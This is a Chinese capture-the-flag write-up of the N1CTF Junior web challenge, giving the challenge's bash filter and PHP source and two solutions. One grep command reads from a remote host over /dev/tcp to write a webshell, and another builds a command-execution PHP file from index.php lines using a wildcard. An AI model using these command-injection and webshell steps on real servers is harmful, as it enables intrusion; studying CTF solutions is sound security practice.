第二届N1CTF Junior-Web
第二届N1CTF-Junior 复现
前言
好好好,又爆零,最简单的都弄不出来,废了
zako
Lolita大佬出的题
#!/bin/bash
reject(){
echo ${1}
exit 1
}
XXXCMD=$1
awk -v str="${XXXCMD}" \
'BEGIN{
deny="`;&$(){}[]!@#$%^&*-";
for(i = 1; i <= length(str); i++){
char = substr(str, i, 1);
for(x = 1; x < length(deny)+1; x++){
r = substr(deny, x, 1);
if(char == r) exit 1;
}
}
}'
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "鏉傞奔鉂鏉傞奔鉂";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num=1;
for(i=1; i<=NF; i++){
for(x=1; x<=length(allows); x++){
cmpstr = substr($i, 1, length(allows[x]));
if(cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}END{
for(i=1; i<=length(eval_cmd); i++) {
if(i!=1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'`
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
sh文件限制了只能使用
ls
wc 查看文件长度
grep 能读取文件
那这一看就要逃逸嘛,然后借助system执行命令
但是index.php藏起来的部分也有黑名单
给出出题人源代码
<?php
//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
die("你就不能绕一下喵");
}
system("./execute.sh '".$cmd."'");
?>
fuzz一下有<>?
刚开始尝试出grep能读取出文件
但是我就没后续了,我也没不知道<>
有什么用
看了WP后得知用来写文件
出题人WP
grep "" < /dev/tcp/118.89.61.71/7777 > 1.php
监听后不是能命令执行,而是把我们输入的数据自动写入到1.php中
写一句话木马就行
最后访问1.php
Boogipop大佬做法
通过grep选择index.php中的内容写马
因为index被过滤了,使用?通配符
grep "<?php" inde?.php >> 3.php
grep "cmd " inde?.php >> 3.php
记得加个空格,不加空格会匹配到其他的
不加
加空格
grep "system" inde?.php >> 3.php
3.php就可以多命令执行了
第二届N1CTF Junior-Web
https://zer0peach.github.io/2024/02/06/第二届N1CTF-Junior-Web/